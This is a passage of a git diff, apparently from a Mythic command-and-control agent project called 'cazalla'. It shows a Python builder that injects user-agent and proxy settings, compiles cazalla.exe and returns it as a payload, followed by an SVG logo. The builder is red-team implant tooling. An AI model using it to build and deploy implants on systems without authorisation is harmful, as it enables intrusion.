content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
||||||
|
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
||||||
|
if Config["proxyEnabled"]:
|
||||||
|
content = content.replace("%PROXYENABLED%", "TRUE")
|
||||||
|
else:
|
||||||
|
content = content.replace("%PROXYENABLED%", "FALSE")
|
||||||
|
f.seek(0)
|
||||||
|
f.write(content)
|
||||||
|
f.truncate()
|
||||||
|
|
||||||
|
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
|
||||||
|
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
|
||||||
|
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
|
||||||
|
stderr=asyncio.subprocess.PIPE)
|
||||||
|
|
||||||
|
stdout, stderr = await proc.communicate()
|
||||||
|
print(stdout)
|
||||||
|
print(stderr)
|
||||||
|
|
||||||
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
|
PayloadUUID=self.uuid,
|
||||||
|
StepName="Compiling",
|
||||||
|
StepStdout="Successfuly compiled Ra",
|
||||||
|
StepSuccess=True
|
||||||
|
))
|
||||||
|
build_msg = ""
|
||||||
|
resp.payload = open(filename, "rb").read()
|
||||||
|
|
||||||
|
return resp
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 204 KiB |
@@ -0,0 +1,266 @@
|
|||||||
|
<?xml version="1.0" standalone="no"?>
|
||||||
|
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
|
||||||
|
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
|
||||||
|
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||||
|
width="800.000000pt" height="800.000000pt" viewBox="0 0 800.000000 800.000000"
|
||||||
|
preserveAspectRatio="xMidYMid meet">
|
||||||
|
|
||||||
|
<g transform="translate(0.000000,800.000000) scale(0.100000,-0.100000)"
|
||||||
|
fill="#000000" stroke="none">
|
||||||
|
<path d="M3713 6533 c26 -2 67 -2 90 0 23 2 2 3 -48 3 -49 0 -68 -1 -42 -3z"/>
|
||||||
|
<path d="M3735 6294 c-66 -7 -129 -12 -140 -13 -40 -2 2 -19 75 -29 41 -6 86
|
||||||
|
-13 100 -16 63 -15 296 -28 402 -22 115 6 117 5 121 -17 l4 -22 2 23 c1 15 7
|
||||||
|
22 21 22 11 0 20 4 20 9 0 13 84 19 92 7 4 -6 8 -26 8 -43 0 -26 4 -33 20 -33
|
||||||
|
17 0 20 7 20 50 0 43 3 50 20 50 37 0 20 19 -22 24 -106 14 -627 21 -743 10z"/>
|
||||||
|
<path d="M3921 6166 c2 -2 33 -6 67 -10 44 -5 62 -4 57 3 -3 6 -34 11 -67 11
|
||||||
|
-34 0 -59 -2 -57 -4z"/>
|
||||||
|
<path d="M4540 6120 c20 -13 33 -13 25 0 -3 6 -14 10 -23 10 -15 0 -15 -2 -2
|
||||||
|
-10z"/>
|
||||||
|
<path d="M4421 6102 c-17 -14 -22 -25 -17 -40 4 -12 2 -30 -4 -42 -8 -16 -7
|
||||||
|
-28 6 -55 16 -33 15 -38 -4 -83 -14 -33 -20 -69 -20 -122 0 -77 8 -100 37
|
||||||
|
-100 14 0 14 2 1 10 -24 16 14 13 55 -4 36 -15 47 -35 19 -32 -9 0 -20 -9 -24
|
||||||
|
-21 -8 -19 -3 -23 42 -38 28 -9 58 -13 67 -10 14 6 13 8 -4 15 -11 5 -33 9
|
||||||
|
-50 10 l-30 2 28 10 c28 10 28 11 10 31 -18 20 -18 20 8 14 26 -7 26 -6 27 56
|
||||||
|
1 43 -1 56 -7 41 -5 -11 -21 -28 -36 -38 -26 -17 -26 -17 -15 4 7 14 10 54 6
|
||||||
|
113 -3 51 -5 99 -6 107 0 8 4 51 9 95 5 44 8 81 6 83 -2 2 -21 6 -42 8 -27 3
|
||||||
|
-45 -1 -62 -14z m6 -69 c-3 -10 -5 -2 -5 17 0 19 2 27 5 18 2 -10 2 -26 0 -35z
|
||||||
|
m83 -67 c0 -3 -4 -8 -10 -11 -5 -3 -10 -1 -10 4 0 6 5 11 10 11 6 0 10 -2 10
|
||||||
|
-4z m-89 -93 c-12 -20 -14 -14 -5 12 4 9 9 14 11 11 3 -2 0 -13 -6 -23z"/>
|
||||||
|
<path d="M3480 5681 c0 -10 25 -21 48 -21 12 1 10 5 -8 15 -29 17 -40 18 -40
|
||||||
|
6z"/>
|
||||||
|
<path d="M4420 5601 c0 -5 7 -12 16 -15 14 -5 15 -4 4 9 -14 17 -20 19 -20 6z"/>
|
||||||
|
<path d="M3790 5370 c0 -5 5 -10 10 -10 6 0 10 5 10 10 0 6 -4 10 -10 10 -5 0
|
||||||
|
-10 -4 -10 -10z"/>
|
||||||
|
<path d="M4178 5373 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
|
||||||
|
<path d="M3220 3005 l0 -1685 145 0 c138 0 145 1 145 20 0 19 -7 20 -130 20
|
||||||
|
l-130 0 0 1645 0 1645 755 0 755 0 0 -1645 0 -1644 -132 -3 c-117 -3 -133 -5
|
||||||
|
-136 -21 -3 -16 9 -17 147 -17 l151 0 0 1685 0 1685 -785 0 -785 0 0 -1685z"/>
|
||||||
|
<path d="M3965 4219 c-38 -11 -94 -60 -88 -76 7 -21 -5 -15 -18 8 -8 15 -8 19
|
||||||
|
0 15 6 -4 11 -4 11 1 -1 11 -26 43 -33 43 -9 0 4 -63 14 -74 12 -13 11 -66 0
|
||||||
|
-66 -6 0 -13 5 -16 10 -3 6 -10 10 -15 10 -11 0 4 -53 24 -82 9 -12 16 -32 16
|
||||||
|
-45 0 -22 15 -39 23 -26 2 5 2 2 1 -5 -2 -7 5 -21 15 -31 11 -11 31 -41 47
|
||||||
|
-67 34 -61 54 -85 65 -78 5 3 27 42 50 87 46 92 56 107 71 104 6 -1 11 8 13
|
||||||
|
20 1 13 9 31 19 41 19 21 37 77 28 86 -3 3 -14 -1 -24 -11 -17 -15 -18 -14
|
||||||
|
-18 18 0 19 7 43 15 53 8 11 15 29 15 40 0 18 -3 17 -30 -9 -16 -16 -30 -25
|
||||||
|
-30 -19 0 14 -62 52 -95 57 -16 3 -44 1 -60 -4z m180 -79 c-10 -11 -20 -18
|
||||||
|
-23 -15 -3 3 3 14 13 25 10 11 20 18 23 15 3 -3 -3 -14 -13 -25z"/>
|
||||||
|
<path d="M3933 3678 c-47 -23 -68 -120 -38 -178 29 -57 81 -65 126 -21 26 26
|
||||||
|
29 36 29 91 0 55 -3 65 -29 91 -31 31 -52 35 -88 17z m58 -15 c9 -10 14 -42
|
||||||
|
14 -93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
|
||||||
|
<path d="M4123 3678 c-59 -28 -71 -160 -19 -205 15 -13 38 -23 50 -23 35 0 74
|
||||||
|
37 86 81 14 51 -2 111 -37 138 -28 23 -47 25 -80 9z m58 -15 c9 -10 14 -42 14
|
||||||
|
-93 0 -78 -12 -110 -41 -110 -21 0 -34 43 -34 110 0 96 26 136 61 93z"/>
|
||||||
|
<path d="M3795 3671 c-24 -5 -26 -8 -12 -13 14 -6 17 -21 17 -98 0 -53 -4 -90
|
||||||
|
-10 -90 -5 0 -10 -3 -10 -7 0 -5 20 -8 45 -8 28 0 41 4 35 10 -6 5 -10 55 -10
|
||||||
|
112 0 110 2 107 -55 94z"/>
|
||||||
|
<path d="M3493 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
|
||||||
|
<path d="M4353 3463 c48 -2 125 -2 170 0 45 1 6 3 -88 3 -93 0 -130 -2 -82 -3z"/>
|
||||||
|
<path d="M3765 3413 c-32 -8 -64 -44 -76 -84 -13 -43 0 -96 31 -124 25 -22 91
|
||||||
|
-31 121 -15 17 10 24 10 27 1 2 -6 17 -11 34 -11 26 0 29 2 18 15 -11 13 -9
|
||||||
|
28 11 85 13 39 26 70 30 70 3 0 10 -15 16 -34 10 -33 10 -35 -16 -39 l-26 -4
|
||||||
|
28 -2 c21 -1 31 -9 42 -33 9 -23 10 -37 3 -45 -8 -10 11 -13 91 -13 154 0 201
|
||||||
|
28 201 122 0 35 -6 54 -24 75 -23 26 -30 28 -112 32 -82 3 -87 2 -71 -14 23
|
||||||
|
-22 25 -176 2 -195 -16 -13 -19 -8 -71 133 -19 52 -33 77 -43 75 -8 -2 -32
|
||||||
|
-49 -54 -105 -39 -100 -63 -134 -50 -73 3 19 1 30 -6 30 -6 0 -11 -8 -11 -18
|
||||||
|
0 -24 -31 -52 -57 -52 -31 0 -55 35 -61 88 -5 57 17 117 46 124 29 8 66 -14
|
||||||
|
70 -40 5 -34 20 -26 19 11 -1 25 -5 32 -21 34 -12 1 -32 4 -46 6 -14 3 -34 3
|
||||||
|
-45 0z m461 -27 c16 -12 19 -27 19 -86 0 -64 -3 -74 -24 -91 -47 -38 -56 -24
|
||||||
|
-59 89 -3 101 -3 102 21 102 13 0 32 -6 43 -14z"/>
|
||||||
|
<path d="M4385 3411 c-61 -27 -89 -109 -57 -171 44 -89 174 -76 203 20 15 51
|
||||||
|
-1 113 -35 135 -30 20 -85 27 -111 16z m74 -27 c16 -21 21 -41 21 -88 0 -75
|
||||||
|
-19 -109 -58 -104 -35 4 -52 39 -52 106 0 99 45 142 89 86z"/>
|
||||||
|
<path d="M4595 3411 c-61 -26 -56 -70 15 -130 53 -45 60 -61 34 -81 -25 -21
|
||||||
|
-65 -1 -80 40 l-12 35 -1 -45 -1 -45 51 -3 c56 -3 93 14 104 47 9 29 -9 56
|
||||||
|
-60 91 -48 33 -58 62 -27 79 24 13 62 -12 62 -40 0 -10 4 -19 8 -19 5 0 8 15
|
||||||
|
8 34 -1 23 -6 34 -16 35 -8 0 -26 2 -40 5 -14 3 -34 2 -45 -3z"/>
|
||||||
|
<path d="M3318 3403 c17 -6 17 -194 0 -211 -9 -9 1 -12 47 -12 57 0 58 1 37
|
||||||
|
16 -14 9 -22 26 -22 44 0 25 4 29 40 35 42 7 80 43 80 76 0 9 -12 27 -26 38
|
||||||
|
-22 17 -40 21 -98 20 -39 0 -65 -3 -58 -6z m120 -55 c3 -39 0 -49 -18 -58 -30
|
||||||
|
-16 -40 -4 -40 49 0 54 5 63 35 59 16 -2 21 -12 23 -50z"/>
|
||||||
|
<path d="M3508 3403 c17 -6 17 -194 0 -211 -9 -9 7 -12 75 -12 l87 0 0 43 -1
|
||||||
|
42 -13 -31 c-14 -31 -55 -52 -76 -39 -6 4 -10 26 -10 51 0 50 17 59 43 22 15
|
||||||
|
-22 16 -21 15 25 0 26 -4 47 -9 47 -5 0 -9 -6 -9 -14 0 -12 -20 -26 -36 -26
|
||||||
|
-2 0 -4 23 -4 51 l0 50 32 -3 c22 -2 36 -10 44 -26 18 -37 24 -37 22 2 l-1 36
|
||||||
|
-86 -1 c-47 0 -80 -3 -73 -6z"/>
|
||||||
|
<path d="M3683 3133 c170 -2 444 -2 610 0 166 1 28 2 -308 2 -335 0 -471 -1
|
||||||
|
-302 -2z"/>
|
||||||
|
<path d="M3806 3101 c-4 -5 -2 -12 3 -15 5 -4 12 -2 15 3 4 5 2 12 -3 15 -5 4
|
||||||
|
-12 2 -15 -3z"/>
|
||||||
|
<path d="M3496 3042 c-3 -5 1 -9 9 -9 8 0 12 4 9 9 -3 4 -7 8 -9 8 -2 0 -6 -4
|
||||||
|
-9 -8z"/>
|
||||||
|
<path d="M3671 3000 c24 -30 44 -57 46 -59 2 -2 3 0 3 5 0 5 -21 32 -46 59
|
||||||
|
l-46 50 43 -55z"/>
|
||||||
|
<path d="M3778 3043 c7 -3 16 -2 19 1 4 3 -2 6 -13 5 -11 0 -14 -3 -6 -6z"/>
|
||||||
|
<path d="M3815 3040 c4 -6 11 -8 16 -5 14 9 11 15 -7 15 -8 0 -12 -5 -9 -10z"/>
|
||||||
|
<path d="M3880 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
|
||||||
|
-4 -15 -10z"/>
|
||||||
|
<path d="M3920 3046 c0 -2 7 -9 15 -16 9 -7 15 -8 15 -2 0 5 -7 12 -15 16 -8
|
||||||
|
3 -15 4 -15 2z"/>
|
||||||
|
<path d="M4056 3033 c-4 -10 0 -23 11 -32 16 -15 16 -15 4 2 -11 14 -11 20 -1
|
||||||
|
32 7 9 8 15 2 15 -5 0 -13 -8 -16 -17z"/>
|
||||||
|
<path d="M4165 3040 c3 -5 8 -10 11 -10 2 0 4 5 4 10 0 6 -5 10 -11 10 -5 0
|
||||||
|
-7 -4 -4 -10z"/>
|
||||||
|
<path d="M4340 3040 c0 -5 7 -7 15 -4 8 4 15 8 15 10 0 2 -7 4 -15 4 -8 0 -15
|
||||||
|
-4 -15 -10z"/>
|
||||||
|
<path d="M4396 3028 c10 -14 21 -24 23 -22 3 3 -6 15 -18 27 l-24 22 19 -27z"/>
|
||||||
|
<path d="M4490 3039 c0 -5 5 -7 10 -4 6 3 10 8 10 11 0 2 -4 4 -10 4 -5 0 -10
|
||||||
|
-5 -10 -11z"/>
|
||||||
|
<path d="M4520 3046 c0 -2 7 -9 15 -16 13 -11 14 -10 9 4 -5 14 -24 23 -24 12z"/>
|
||||||
|
<path d="M4309 3023 c-13 -16 -12 -17 4 -4 9 7 17 15 17 17 0 8 -8 3 -21 -13z"/>
|
||||||
|
<path d="M4459 3023 c-13 -16 -12 -17 4 -4 16 13 21 21 13 21 -2 0 -10 -8 -17
|
||||||
|
-17z"/>
|
||||||
|
<path d="M4571 3020 c14 -31 19 -36 19 -24 0 6 -7 19 -16 30 -14 18 -14 18 -3
|
||||||
|
-6z"/>
|
||||||
|
<path d="M4121 3014 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
|
||||||
|
<path d="M3476 3005 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
|
||||||
|
<path d="M3520 3015 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
|
||||||
|
-5 8 -10 11 -10 5z"/>
|
||||||
|
<path d="M3620 3014 c0 -15 99 -120 100 -106 0 6 -4 12 -9 12 -5 0 -28 23 -50
|
||||||
|
51 -23 29 -41 48 -41 43z"/>
|
||||||
|
<path d="M3887 2999 c7 -7 15 -10 18 -7 3 3 -2 9 -12 12 -14 6 -15 5 -6 -5z"/>
|
||||||
|
<path d="M3822 2980 c0 -14 2 -19 5 -12 2 6 2 18 0 25 -3 6 -5 1 -5 -13z"/>
|
||||||
|
<path d="M3850 2991 c0 -6 4 -13 10 -16 6 -3 7 1 4 9 -7 18 -14 21 -14 7z"/>
|
||||||
|
<path d="M4037 2979 c12 -12 24 -21 27 -18 2 2 -8 13 -22 23 l-27 19 22 -24z"/>
|
||||||
|
<path d="M3501 2980 c0 -15 38 -91 39 -79 0 4 -9 26 -20 50 -11 24 -19 37 -19
|
||||||
|
29z"/>
|
||||||
|
<path d="M3921 2987 c2 -1 13 -9 24 -17 19 -14 19 -14 6 3 -7 9 -18 17 -24 17
|
||||||
|
-6 0 -8 -1 -6 -3z"/>
|
||||||
|
<path d="M4171 2974 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
|
||||||
|
<path d="M3456 2955 c-9 -26 -7 -32 5 -12 6 10 9 21 6 23 -2 3 -7 -2 -11 -11z"/>
|
||||||
|
<path d="M3540 2965 c0 -5 5 -17 10 -25 5 -8 10 -10 10 -5 0 6 -5 17 -10 25
|
||||||
|
-5 8 -10 11 -10 5z"/>
|
||||||
|
<path d="M4291 2944 c0 -11 3 -14 6 -6 3 7 2 16 -1 19 -3 4 -6 -2 -5 -13z"/>
|
||||||
|
<path d="M4572 2940 c-7 -11 -8 -20 -3 -20 9 0 24 30 18 36 -1 2 -8 -6 -15
|
||||||
|
-16z"/>
|
||||||
|
<path d="M3846 2937 c2 -7 14 -19 27 -26 21 -13 21 -12 -2 13 -27 29 -33 32
|
||||||
|
-25 13z"/>
|
||||||
|
<path d="M4020 2943 c0 -6 8 -17 18 -24 16 -13 16 -13 2 6 -8 11 -16 22 -17
|
||||||
|
24 -2 2 -3 0 -3 -6z"/>
|
||||||
|
<path d="M4480 2944 c0 -6 7 -19 16 -30 14 -18 14 -18 3 6 -14 31 -19 36 -19
|
||||||
|
24z"/>
|
||||||
|
<path d="M3950 2932 c0 -7 -6 -12 -14 -12 -8 0 -17 -4 -20 -9 -4 -5 3 -7 14
|
||||||
|
-4 22 6 35 21 26 30 -3 4 -6 1 -6 -5z"/>
|
||||||
|
<path d="M4105 2919 c-16 -10 -25 -19 -19 -19 7 0 22 9 35 20 30 24 23 24 -16
|
||||||
|
-1z"/>
|
||||||
|
<path d="M4167 2921 c-4 -17 -3 -21 5 -13 5 5 8 16 6 23 -3 8 -7 3 -11 -10z"/>
|
||||||
|
<path d="M4344 2923 c23 -28 28 -28 57 -2 l24 20 -28 -17 c-26 -16 -29 -16
|
||||||
|
-50 2 l-22 19 19 -22z"/>
|
||||||
|
<path d="M4450 2936 c0 -2 8 -10 18 -17 15 -13 16 -12 3 4 -13 16 -21 21 -21
|
||||||
|
13z"/>
|
||||||
|
<path d="M4530 2915 c-8 -9 -8 -15 -2 -15 12 0 26 19 19 26 -2 2 -10 -2 -17
|
||||||
|
-11z"/>
|
||||||
|
<path d="M3430 2910 c-9 -6 -10 -10 -3 -10 6 0 15 5 18 10 8 12 4 12 -15 0z"/>
|
||||||
|
<path d="M4185 2784 c-102 -156 -108 -164 -101 -164 3 0 46 61 96 135 50 74
|
||||||
|
87 135 83 135 -5 0 -39 -48 -78 -106z"/>
|
||||||
|
<path d="M4082 2858 c-21 -21 -14 -66 13 -84 23 -15 27 -15 50 0 29 19 33 56
|
||||||
|
9 80 -18 19 -55 21 -72 4z m56 -32 c4 -33 -17 -64 -29 -44 -11 16 -12 62 -2
|
||||||
|
72 13 13 28 -1 31 -28z"/>
|
||||||
|
<path d="M3793 2772 l-62 -87 45 -3 c35 -2 44 -7 44 -22 0 -10 -6 -21 -12 -23
|
||||||
|
-7 -3 7 -6 32 -6 34 -1 41 2 32 11 -7 7 -12 18 -12 25 0 21 29 15 53 -11 12
|
||||||
|
-13 33 -28 47 -31 l25 -7 -22 24 c-23 25 -28 44 -17 72 9 24 30 19 53 -10 25
|
||||||
|
-32 26 -38 5 -58 -21 -22 3 -22 34 0 30 20 28 59 -4 91 l-25 25 20 20 c27 24
|
||||||
|
26 43 -1 62 -31 22 -74 20 -98 -4 -25 -25 -25 -41 0 -72 l19 -25 -23 -22 c-20
|
||||||
|
-19 -28 -21 -45 -12 -17 9 -21 23 -23 81 l-3 70 -62 -88z m215 44 c5 -42 -12
|
||||||
|
-52 -36 -21 -24 31 -19 57 12 53 15 -2 22 -11 24 -32z m-188 -66 c0 -36 -2
|
||||||
|
-40 -25 -40 -14 0 -25 2 -25 5 0 6 44 75 48 75 1 0 2 -18 2 -40z"/>
|
||||||
|
<path d="M3558 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
|
||||||
|
<path d="M4328 2843 c34 -2 90 -2 125 0 34 2 6 3 -63 3 -69 0 -97 -1 -62 -3z"/>
|
||||||
|
<path d="M4185 2710 c-35 -39 9 -104 55 -80 34 18 44 48 25 76 -19 29 -55 31
|
||||||
|
-80 4z m53 -30 c4 -42 -12 -60 -28 -30 -14 26 -5 73 13 67 7 -2 13 -18 15 -37z"/>
|
||||||
|
<path d="M3465 2526 c-22 -16 -25 -67 -5 -91 9 -11 26 -15 53 -13 56 4 60 25
|
||||||
|
5 24 -43 -1 -43 -1 -43 34 0 34 1 35 38 35 23 0 37 5 37 13 0 16 -61 16 -85
|
||||||
|
-2z"/>
|
||||||
|
<path d="M3647 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 8 21 53 19 65
|
||||||
|
-2 5 -10 12 -15 16 -12 8 8 -41 119 -53 119 -5 0 -20 -27 -35 -60z m42 -9
|
||||||
|
c-15 -5 -22 6 -14 19 6 9 10 9 16 -1 5 -8 4 -15 -2 -18z"/>
|
||||||
|
<path d="M3810 2531 c0 -6 14 -11 31 -13 l31 -3 -37 -47 -36 -48 56 0 c30 0
|
||||||
|
55 5 55 10 0 6 -16 10 -36 10 l-36 0 29 38 c49 62 49 62 -6 62 -28 0 -51 -4
|
||||||
|
-51 -9z"/>
|
||||||
|
<path d="M3997 2480 c-18 -43 -22 -60 -12 -60 7 0 15 7 19 15 7 20 46 19 62
|
||||||
|
-2 7 -10 15 -15 18 -12 8 8 -41 119 -52 119 -5 0 -20 -27 -35 -60z m43 5 c0
|
||||||
|
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
|
||||||
|
<path d="M4160 2480 l0 -60 40 0 c22 0 40 5 40 10 0 6 -13 10 -30 10 -29 0
|
||||||
|
-30 1 -30 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
|
||||||
|
<path d="M4310 2480 l0 -60 35 0 c19 0 35 5 35 10 0 6 -11 10 -25 10 -23 0
|
||||||
|
-25 3 -25 50 0 28 -4 50 -10 50 -6 0 -10 -27 -10 -60z"/>
|
||||||
|
<path d="M4474 2503 c-31 -74 -34 -83 -23 -83 5 0 12 7 15 15 8 21 54 19 70
|
||||||
|
-2 7 -10 15 -16 18 -13 7 8 -45 120 -55 120 -5 0 -16 -17 -25 -37z m36 -18 c0
|
||||||
|
-8 -4 -15 -10 -15 -5 0 -10 7 -10 15 0 8 5 15 10 15 6 0 10 -7 10 -15z"/>
|
||||||
|
<path d="M3320 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
|
||||||
|
-11 -4 -11 -13z"/>
|
||||||
|
<path d="M4660 2485 c0 -9 5 -15 11 -13 6 2 11 8 11 13 0 5 -5 11 -11 13 -6 2
|
||||||
|
-11 -4 -11 -13z"/>
|
||||||
|
<path d="M3585 2340 c17 -4 206 -8 420 -8 215 0 404 4 420 8 17 4 -172 8 -420
|
||||||
|
8 -247 0 -436 -4 -420 -8z"/>
|
||||||
|
<path d="M3841 1645 c1 -30 4 -55 8 -55 3 0 14 19 23 41 14 33 14 38 3 29 -13
|
||||||
|
-10 -15 -8 -15 14 0 14 -4 26 -10 26 -6 0 -9 -24 -9 -55z"/>
|
||||||
|
<path d="M3976 1686 c3 -8 -3 -16 -16 -19 -17 -4 -21 -12 -18 -39 2 -25 8 -34
|
||||||
|
26 -36 21 -3 22 0 22 52 0 31 -4 56 -10 56 -5 0 -7 -6 -4 -14z m-4 -78 c-15
|
||||||
|
-15 -27 14 -17 40 6 15 8 15 18 -6 7 -16 7 -26 -1 -34z"/>
|
||||||
|
<path d="M4140 1645 c0 -30 4 -55 10 -55 5 0 7 7 4 15 -4 8 -1 15 5 15 6 0 11
|
||||||
|
-7 11 -15 0 -8 5 -15 10 -15 7 0 7 6 0 20 -8 14 -8 26 0 40 7 14 7 20 0 20 -5
|
||||||
|
0 -10 -4 -10 -10 0 -5 -4 -10 -9 -10 -4 0 -6 11 -3 25 2 15 0 25 -7 25 -7 0
|
||||||
|
-11 -21 -11 -55z"/>
|
||||||
|
<path d="M3535 1640 c4 -19 12 -39 17 -45 7 -7 8 2 3 25 -4 19 -12 40 -17 45
|
||||||
|
-7 7 -8 -2 -3 -25z"/>
|
||||||
|
<path d="M3567 1656 c-10 -25 -9 -38 3 -31 6 3 10 -3 10 -14 0 -35 17 -23 28
|
||||||
|
19 5 22 6 40 2 40 -5 0 -10 -10 -13 -22 l-4 -23 -10 24 c-8 21 -11 22 -16 7z"/>
|
||||||
|
<path d="M3631 1655 c-1 -29 10 -65 20 -65 5 0 9 9 9 20 0 11 -4 20 -9 20 -5
|
||||||
|
0 -12 10 -14 23 -4 19 -4 19 -6 2z"/>
|
||||||
|
<path d="M3660 1657 c0 -17 23 -67 31 -67 7 0 20 53 18 74 0 6 -5 0 -11 -14
|
||||||
|
-11 -25 -11 -25 -15 -2 -5 23 -23 31 -23 9z"/>
|
||||||
|
<path d="M3723 1654 c3 -11 9 -30 12 -43 l7 -24 13 23 12 22 7 -23 c5 -19 8
|
||||||
|
-21 15 -9 15 26 23 72 11 65 -5 -3 -10 -16 -11 -28 -1 -20 -2 -19 -13 6 l-12
|
||||||
|
27 -11 -27 c-10 -25 -11 -26 -12 -6 -1 12 -6 25 -12 29 -7 4 -9 0 -6 -12z"/>
|
||||||
|
<path d="M3900 1628 c0 -21 5 -38 10 -38 6 0 10 11 10 24 0 13 2 31 5 39 4 8
|
||||||
|
0 14 -10 14 -11 0 -15 -11 -15 -39z"/>
|
||||||
|
<path d="M4008 1630 c-2 -22 0 -40 4 -40 5 0 8 13 8 28 0 15 5 33 12 40 9 9 8
|
||||||
|
12 -4 12 -11 0 -17 -12 -20 -40z"/>
|
||||||
|
<path d="M4053 1630 c0 -25 2 -35 4 -22 2 12 2 32 0 45 -2 12 -4 2 -4 -23z"/>
|
||||||
|
<path d="M4081 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 4 -37 9 -37 5
|
||||||
|
0 8 15 7 33 -4 47 -4 47 -26 47 -17 0 -20 -6 -19 -42z"/>
|
||||||
|
<path d="M4204 1655 c-4 -8 0 -22 7 -31 10 -13 10 -17 -2 -25 -12 -7 -11 -9 3
|
||||||
|
-9 23 0 28 22 10 43 -14 16 -14 19 -2 27 11 7 11 10 2 10 -7 0 -15 -7 -18 -15z"/>
|
||||||
|
<path d="M4280 1655 c-17 -20 -4 -65 18 -64 10 0 12 3 5 6 -19 7 -16 50 5 62
|
||||||
|
15 9 15 10 1 11 -9 0 -22 -7 -29 -15z"/>
|
||||||
|
<path d="M4330 1655 c-17 -21 -4 -67 18 -63 12 2 17 13 17 37 0 38 -15 50 -35
|
||||||
|
26z m30 -31 c0 -13 -4 -24 -10 -24 -5 0 -10 14 -10 31 0 17 4 28 10 24 6 -3
|
||||||
|
10 -17 10 -31z"/>
|
||||||
|
<path d="M4391 1628 c2 -34 3 -37 6 -13 7 46 23 55 23 12 0 -20 5 -37 10 -37
|
||||||
|
6 0 10 16 10 35 0 45 18 45 23 0 l4 -35 -1 37 c-1 36 -3 38 -38 41 l-38 2 1
|
||||||
|
-42z"/>
|
||||||
|
<path d="M3870 1611 c0 -5 5 -13 10 -16 6 -3 10 -2 10 4 0 5 -4 13 -10 16 -5
|
||||||
|
3 -10 2 -10 -4z"/>
|
||||||
|
<path d="M3815 1600 c-3 -5 -1 -10 4 -10 6 0 11 5 11 10 0 6 -2 10 -4 10 -3 0
|
||||||
|
-8 -4 -11 -10z"/>
|
||||||
|
<path d="M3611 1392 c-14 -27 -11 -64 6 -70 19 -6 27 25 16 61 -9 32 -9 32
|
||||||
|
-22 9z m19 -37 c0 -14 -4 -25 -10 -25 -5 0 -10 11 -10 25 0 14 5 25 10 25 6 0
|
||||||
|
10 -11 10 -25z"/>
|
||||||
|
<path d="M4247 1394 c-4 -4 -7 -22 -7 -41 0 -40 26 -46 36 -7 7 26 -15 62 -29
|
||||||
|
48z m10 -51 c-3 -10 -5 -4 -5 12 0 17 2 24 5 18 2 -7 2 -21 0 -30z"/>
|
||||||
|
<path d="M3532 1355 c0 -19 4 -35 9 -35 8 0 14 23 10 44 -1 5 4 13 11 17 9 6
|
||||||
|
7 9 -8 9 -18 0 -22 -6 -22 -35z"/>
|
||||||
|
<path d="M3681 1353 c0 -21 3 -32 6 -24 4 10 7 11 13 1 5 -8 8 2 8 24 0 24 -5
|
||||||
|
36 -14 36 -10 0 -14 -12 -13 -37z"/>
|
||||||
|
<path d="M3750 1357 c0 -26 4 -32 23 -33 20 -1 22 2 19 30 -3 23 -9 32 -23 33
|
||||||
|
-15 1 -19 -5 -19 -30z"/>
|
||||||
|
<path d="M3832 1358 c4 -47 32 -45 35 2 l1 35 -7 -35 c-6 -28 -9 -31 -15 -17
|
||||||
|
-5 9 -6 24 -2 32 3 8 1 15 -5 15 -6 0 -9 -15 -7 -32z"/>
|
||||||
|
<path d="M3905 1355 c0 -29 4 -35 20 -34 11 0 14 3 8 6 -7 2 -13 18 -13 34 0
|
||||||
|
16 -3 29 -7 29 -5 0 -8 -16 -8 -35z"/>
|
||||||
|
<path d="M3976 1358 c-3 -17 -4 -33 -1 -36 3 -3 5 1 5 9 0 12 2 12 10 -1 13
|
||||||
|
-21 18 -10 13 28 -7 41 -19 41 -27 0z"/>
|
||||||
|
<path d="M4090 1355 c0 -42 10 -45 28 -8 16 37 15 43 -8 43 -16 0 -20 -7 -20
|
||||||
|
-35z"/>
|
||||||
|
<path d="M4170 1357 c0 -22 5 -34 14 -34 9 0 14 12 14 34 0 22 -5 33 -14 33
|
||||||
|
-9 0 -14 -11 -14 -33z"/>
|
||||||
|
<path d="M4310 1355 c0 -42 10 -45 27 -9 14 30 9 44 -13 44 -9 0 -14 -11 -14
|
||||||
|
-35z"/>
|
||||||
|
<path d="M4380 1355 c0 -19 5 -35 10 -35 6 0 10 16 10 35 0 19 -4 35 -10 35
|
||||||
|
-5 0 -10 -16 -10 -35z"/>
|
||||||
|
<path d="M4444 1355 c-6 -19 -7 -35 -3 -35 5 0 9 6 9 13 0 8 4 7 10 -3 8 -12
|
||||||
|
10 -12 9 5 0 11 -4 28 -7 37 -6 14 -10 10 -18 -17z"/>
|
||||||
|
<path d="M5100 990 c-7 -4 -9 -13 -6 -19 4 -6 2 -11 -5 -11 -7 0 -10 -2 -7 -5
|
||||||
|
8 -8 58 13 58 24 0 13 -25 20 -40 11z"/>
